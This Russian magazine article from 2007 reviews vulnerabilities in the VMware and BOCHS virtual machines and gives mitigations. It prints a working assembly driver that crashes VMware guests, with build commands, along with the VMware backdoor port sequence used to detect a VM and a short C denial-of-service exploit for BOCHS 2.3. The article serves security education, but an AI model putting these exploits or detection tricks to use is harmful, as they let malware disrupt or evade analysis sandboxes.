Обзор эксплойтов

Крис Касперски

Хакер, номер #105, стр. 046

Виртуальные машины (BOCHS, VM Ware) предназначены для усиления безопасности компьютера и активно используются для запуска подозрительных программ, исследования вирусов, червей, эксплойтов и т.д. Однако, как и любое другое программное обеспечение, виртуальные машины не свободны от ошибок и потому представляют собой весьма соблазнительную мишень для разнообразных атак, которым и посвящен наш сегодняшний выпуск.

VM Ware: удаленное исполнение произвольного кода - I

Brief

29 июля 2007 года хакер по кличке callAX, являющийся членом весьма продуктивной аргентинской исследовательской группы GOODFELLAS Security Research Team (http://goodfellas.shellcode.com.ar) обнаружил, что в состав виртуальной машины VM Ware входит любопытный ActiveX-компонент. Он реализован в динамической библиотеке vielib.dll, которая экспортирует многие потенциально небезопасные методы, позволяющие манипулировать с основной операционной системой и при этом не проверяющие, откуда происходит вызов: из родного приложения или из зловредного кода. Одним из таких методов является StartProcess, позволяющий (как и следует из его названия) порождать процессы от имени текущего пользователя со всеми его привилегиями. И все... еще одна жертва добавлена в копилку хакера, подробнее о которой можно прочитать на www.securityfocus.com/bid/25118.

Targets

В пресс-релизе, распространенном группой GOODFELLAS, упоминается только VM Ware 6.0, однако я подтверждаю, что уязвимость присутствует и в версии 5.5, а вот версия 4.5 неуязвима. Причем для успешного вызова ActiveX-компонентов нам понадобится IE с версией не ниже 6.0. А вот Лис и Опера в этом отношении совершенно безопасны.

Exploit

На диске ты найдешь фрагмент эксплойта, опубликованный группой GOODFELLAS и доступный на следующих сайтах: www.milw0rm.com/exploits/4244, www.securityfocus.com/data/vulnerabilities/exploits/25118.html, а также на моем сервере: http://nezumi.org.ru/souriz/hack/vmware-bid-25118.htm.

Solution

Официальное лекарство еще находится на стадии разработки, пока же можно:

• а) ничего не делать, поскольку по умолчанию IE не будет выполнять ActiveX-код;
• б) активировать Kill-bit для clsid-элемента {7B9C5422-39AA-4C21-BEEF-645E42EB4529} в соответствии с рекомендациями Microsoft: http://support.microsoft.com/kb/240797;
• в) разрегистрировать библиотеку vielib.dll через regsvr32 — VMware Virtual Image Editing работать, конечно, перестанет, ну да невелика беда.

VM Ware: удаленное исполнение произвольного кода - II

Brief

30 июля 2007 года, то есть буквально на следующий день после обнаружения дыры в VM Ware, все та же аргентинская группа GOODFELLAS Security Research Team обнаружила еще два небезопасных метода в динамической библиотеке vielib.dll. Ими на этот раз оказались CreateProcess и CreateProcessEx, которые позволяют запускать процессы с правами пользователя, зашедшего на хакерскую страничку, начиненную зловредным кодом, или получившего HTML-письмо по электронной почте. Первооткрывателем дыры является все тот же callAX. Это вполне логично, поскольку объем кода уязвимой динамической библиотеки относительно небольшой, и потому здесь мы, скорее всего, имеем дело не со слепой случайностью, а с сознательным анализом, направленным на поиск новых дыр, который оказался весьма плодотворным. Более подробную информацию можно найти на www.securityfocus.com/bid/25131.

Targets

Несмотря на то что и Security Focus, и GOODFELLAS Security Research Team упоминают одну лишь VM Ware 6.0, я подтверждаю, что дыра присутствует и в более ранних версиях, в частности в 5.5. Однако 4.5 по-прежнему остается неуязвимой. Также эта проблема не распространяется на тех, кто использует IE 5.0 или альтернативные браузеры типа Горящего Лиса и Оперы.

Exploits

На диске ищи очередной фрагмент текста эксплойта, опубликованный группой GOODFELLAS и доступный на следующих сайтах: www.milw0rm.com/exploits/4244, http://downloads.securityfocus.com/vulnerabilities/exploits/25131.html, а также моем сервере: http://nezumi.org.ru/souriz/hack/vmware-bid-25118.htm.

Solution

Решение полностью аналогично предыдущему случаю, с той лишь разницей, что теперь мы имеет дело с clsid-объектом с идентификатором {0F748FDE-0597-443C-8596-71854C5EA20A}.

VM Ware: перезапись произвольного файла

Brief

28 июля 2007 года аргентинской исследовательской группой GOODFELLAS Security Research Team... ну ты, короче, в курсе. В этот день уже известный нам хакер по кличке callAX обнаружил свою первую дыру в ActiveX-компоненте, входящем в состав VM Ware. Дыра конструктивно реализована в виде динамической библиотеки IntraProcessLogging.dll, имеющей в своем арсенале метод SetLogFileName, задающий имя файла, в который виртуальная машина будет записывать свой лог. Почему мы отошли от хронологической последовательности открытия дыр? Уязвимость, обнаруженная первой, оказалась в самом хвосте обзора! Ну и что с того, что в хвосте?! Хвост, между прочим, очень даже хорошее место для такой незначительной дыры. Конечно, перезапись файлов (с учетом наличия у жертвы прав на такую операцию) – достаточно мощное оружие для DoS-атаки, но забросить shell-код на удаленную машину весьма проблематично, поскольку мы не можем напрямую воздействовать на содержимое log-файла. Подробнее смотри на www.securityfocus.com/bid/25110.

Targets

Поразительно, но свои первые исследования callAX проводил на VMWare Workstation 5.5.3 build 42958, но потом внезапно «забыл» о ней, переключившись на версию 6.0, несмотря на то что дыры есть и в той и в другой!

Exploit

На диске ты найдешь еще один фрагмент исходного текста эксплойта, опубликованный группой GOODFELLAS и доступный на следующих сайтах: www.milw0rm.com/exploits/4240, http://downloads.securityfocus.com/vulnerabilities/exploits/25110.html, а также на моем сервере: http://nezumi.org.ru/souriz/hack/vmware-bid-25110.htm.

Solution

Решение аналогично предыдущему, с той лишь разницей, что идентификатор clsid на этот раз равен {AF13B07E-28A1-4CAC-9C9A-EC582E354A24}.

Подрыв виртуальных машин изнутри

Виртуальные машины активно используются в качестве полигона для исследования всякой вредоносной заразы в условиях, приближенных к боевым, что заразе, естественно, не нравится, и потому она ведет атаку в двух направлениях. Первое (и главное) заключается в попытке вырваться из-за застенков виртуальной машины, проникнув в основную операционную систему и превратив ее в труху. Второе — в создании такого кода, который бы работал только на живом железе, а под виртуальной машиной либо выполнялся неправильно (задача минимум), либо сокрушал виртуальную машину (задача максимум).

Уязвимости в виртуальных машинах есть, пускай, не в таких больших количествах, как в операционных системах семейства Windows. Однако как женщина не может быть наполовину беременной, так и виртуальная машина не бывает «в целом надежной». Достаточно всего лишь одного прецедента, чтобы исследователи навсегда потеряли доверие к виртуальным машинам.

И такой прецедент действительно имел место, когда в декабре 2005 года Tim Shelton опубликовал на форуме Full-disclosure (http://lists.grok.org.uk/pipermail/full-disclosure/2005-December/040442.html) сообщение о наличии удаленной дыры в службе Vmnat, реализованной в исполняемом файле vmnat.exe, входящем в состав VM Ware Workstation 5.5.0, VM Ware GSX Server, VM Ware ESX Server, VM Ware Ace и VM Ware Player. К слову сказать, достаточно многие кодокопатели до сих пор (то есть в 2007 году) используют VM Ware 4.5, которая их полностью устраивает.

Дефекты проектирования привели к тому, что указанная служба оказалась не в состоянии переваривать специальным образом снаряженные FTP-запросы EPRT и PORT, вызывая переполнение динамической памяти (также называемой кучей) в службе natd с возможностью засылки shell-кода, исполняемого на основной (host) операционной системе, со всеми вытекающими последствиями. Кстати говоря, атака осуществима не только из-под виртуальной машины, но и из внешней сети (инта- и/или интернет), если, конечно, виртуальная сеть сконфигурирована соответствующим образом (устанавливаемым по умолчанию), а не ограничена пересылкой данных только между виртуальными машинами.

Более подробную информацию по теме можно найти на www.securityfocus.com/bid/15998. Для исправления дефекта рекомендуется скачать новую версию с www.vmware.com/download, а если это по каким-то причинам невозможно/нежелательно, то воспользоваться костылем, описанным в базе знаний VM Ware: www.vmware.com/support/kb (Answer ID 2002).

Кстати говоря, это была не первая дыра в VM Ware, и если поднять архивы, то можно обнаружить, что еще в самой ранней версии VM Ware 1.0.1, доступной только для Linux, присутствовала ошибка переполнения, обнародованная на BugTraq в июне 1999 года хакером по имени Jason Rhoads (jason.rhoads@sabernet.net). Исходный код эксплойта можно скачать с Security Focus'а: www.securityfocus.com/data/vulnerabilities/exploits/vmware.c. И хотя он давно потерял свою актуальность (дефект была исправлен в следующей версии - 1.0.2), главное — сам факт!

Парад дыр тем временем продолжается. Было бы утомительно (да и неинтересно) останавливаться на каждой из них, смакуя все подробности. Достаточно сказать, что последнее сообщение о переполнении буфера в VM Ware опубликовано совсем недавно и датируется 6 апреля 2007 года, затрагивая VM Ware ESX Server 3.0/3.0.1. И хотя какие-либо технические детали на данный момент отсутствуют (информация об уязвимости опубликована самими разработчиками, которые совершенно не хотят раскрывать интимные подробности своей жизни), анализ заплаток, до сих пор, кстати, не выпущенных, позволяет локализовать положение дыры и написать эксплойты. Так что следи за новостям на www.securityfocus.com/bid/23322. Короче говоря, верить VM Ware нельзя, и, прежде чем отлаживать на ней очередного червя, не помешает установить все последние обновления. С другой стороны, более древние версии выглядят менее навороченными и потенциально более устойчивы к прорыву за пределы виртуальной машины. То есть традиционные меры предосторожности не помешают. Ведь когда-то червей отлаживали непосредственно на основных компьютерах, и в большинстве случаев ничего трагичного при этом не происходило.

Ладно, будет считать, что с прорывом за пределы VM Ware мы разобрались, и перейдем ко всевозможным пакостям внутри нее. Следующий код вызывает остановку виртуальной машины (что равносильно команде Power/Suspend в главном меню виртуальной машины), однако после пробуждения она, увы, оказывается безнадежно зависшей, и поэтому приходится перезагружаться.

Исходный код драйвера VMWare-crash.asm, вгоняющего виртуальную машину в сон, из которого ей уже не проснуться

.686

.model flat, stdcall

.code

DriverEntry proc

mov eax, 110

mov ebx, 3

int 80h

mov ax, 6c81h

mov dx, 1004h

out dx, ax

xor ebx, ebx

xor eax, eax

inc eax

int 80h

mov eax, 0C0000182h; STATUS_DEVICE_CONFIGURATION_ERROR

ret

DriverEntry endp

end DriverEntry

Компилируется драйвер средствами NT DDK и делается это вполне стандартной командной стройкой следующего содержания:

ml /nologo /c /coff VMWareSL.asm

link /driver /base:0x10000 /align:32 /out:VMWareSL.sys /subsystem:native VMWareSL.obj

Для загрузки драйвера на лету хорошо подходит бесплатная утилита w2k_load.exe, написанная Свеном Шрайбером и прилагаемая к книге «Недокументированные возможности Windows 2000». Те, у кого этой книги нет, могут скачать утилиту с моего сайта: http://nezumi.org.ru/souriz/hack/w2k_load.zip. Рядышком лежат исходные тексты драйвера-убийцы и готовая бинарная сборка (на тот случай, если под рукой не окажется NT DDK): http://nezumi.org.ru/souriz/hack/vmware-crash.zip.

Естественно, NTDDK - это не догма. С ничуть не меньшим успехом можно использовать, например, FASM или даже засунуть ассемблерный код в загружаемый модуль ядра и натравить его на Linux.

При этом VM Ware конкретно поедет крышей и аварийно завершит работу всех гостевых машин с выдачей ругательного диалогового окна с надписью «*** VMware Workstation internal monitor error ***» и с кучей ненужной технической информации.

К тому же VM Ware поддерживает специальный недокументированный back-door интерфейс, позволяющий гостевым операционным системам управлять виртуальной машиной. Это дает зловредному коду возможность определить, что он исполняется отнюдь не на живом железе, а работает под VM Ware, которую посредством того же back-door интерфейса можно отправить в глубокий даун.

Back-door интерфейс был детально исследован японским хакером по имени Kato, который описал его на своей страничке: http://chitchat.at.infoseek.co.jp/vmware/backdoor.html. В общих чертах все выглядит приблизительно так. В регистр EAX заносится «волшебный пирожок», представляющий собой константу 564D5868h, после чего в CX помещается номер команды, а в EBX – ее параметры (описания команд вместе с параметрами можно найти на странице у Kato). После этого осуществляется запись (или чтение) порта 5658h, через который, собственно говоря, и происходит взаимодействие гостевой операционной системы с виртуальной машиной.

Принцип работы back-door интерфейса VM Ware

MOV EAX, 564D5868h /* «волшебный пирожок» */

MOV CX, номер команды

MOV EBX, параметры команды

MOV DX, 5658h /* VMware I/O Port */

...

IN EAX, DX (or OUT DX, EAX)

Естественно, можно (и нужно) пройтись по коду VM Ware hiew'ом, найти в ней все константы 564D5868h и заменить их чем-нибудь другим. Для большей надежности то же самое следует проделать с номером порта. Работоспособности VM Ware это не нарушит, зато зловредный код потеряет возможность пролезть через back-door интерфейс.

Впрочем, VM Ware уже достаточно скомпрометировала себя, и спасти ее репутацию сможет разве что чудо. Но чудес, как известно, не бывает, а вот конкуренты имеются в большом ассортименте.

К примеру, рассмотрим весьма популярный эмулятор BOCHS (bochs.sourceforge.net). Он ужасно тормозной, зато бесплатный и, что самое важное, за все время своего существования не обнаруживший ни одной дыры, позволяющей зловредному коду вырваться за пределы виртуальной машины. Другая полезная вкусность — встроенный отладчик, работающий на уровне виртуальной машины и потому совершенно невидимый для отлаживаемого кода. Короче говоря, с точки зрения безопасности весь потенциально опасный код лучше всего исследовать под BOCHS'ем.

Однако BOCHS все-таки содержит несколько некритических ошибок переполнения, которые позволяют гостевой операционной системе вызывать аварийное завершение работы эмулятора, препятствующее отладке малвари. Но на саму операционную систему зловредный код воздействовать не может, точнее, пути такого воздействия неизвестны.

В частности, на Security Focus'e значится всего одна ошибка типа переполнения буфера, вызывающая отказ в обслуживании, которая относится к версии BOCHS 2.3. Обнаруженная в конце мая 2007 года хакером по кличке Tavis Ormandy, она все еще остается достаточно актуальной - далеко не все пользователи BOCHS'а удосужились скачать с сайта заплатку.

Ниже приводится исходный текст эксплойта, позаимствованный с http://downloads.securityfocus.com/vulnerabilities/exploits/24246.c:

Исходный код эксплойта, вызывающий переполнение буфера в эмуляторе BOCHS 2.3 с последующим отказом в обслуживании

#include <sys/io.h>

int main(int argc, char **argv)

{

iopl(3);

outw(0x5292, 0x24c);

outw(0xffff, 0x245);(a)

outw(0x1ffb, 0x24e);

outb(0x76, 0x241);

outb(0x7b, 0x240);

outw(0x79c4, 0x247);

outw(0x59e6, 0x240);

return 0;

}

Покопавшись в исторических хрониках, можно также обнаружить имевшую место быть ошибку переполнения кучи в модуле виртуальной сетевой карты NE2000 RX, которая осуществлялась записью слишком большого числа в регистр TXCNT, что позволяло модифицировать память эмулятора. Исходный код уязвимого фрагмента последнего приведен ниже:

Фрагмент исходного кода уязвимого модуля эмулятора сетевой карты NE2000 RX

void bx_ne2k_c::rx_frame(const void *buf,

unsigned io_len)

{

/* ... */

// copy into buffer, update curpage, and signal

interrupt if config'd

startptr=&BX_NE2K_THIS s.mem[BX_NE2K_THISs.curr_page*256-BX_NE2K_MEMSTART];a

if ((nextpage > BX_NE2K_THIS s.curr_page) ||

((BX_NE2K_THIS s.curr_page + pages) ==

BX_NE2K_THIS s.page_stop))

{

memcpy(startptr, pkthdr, 4);

memcpy(startptr + 4, buf, io_len);b

BX_NE2K_THIS s.curr_page = nextpage;

/* ... */

Впрочем, не известно ни одного зловредного кода, реально использующего эту уязвимость для своего блага. Между тем с ростом популярности виртуальных машин как инструмента «трепанации» малвари создатели последней уже начинают задумываться о методах борьбы, оттачивая новые технологии нападения и обороны.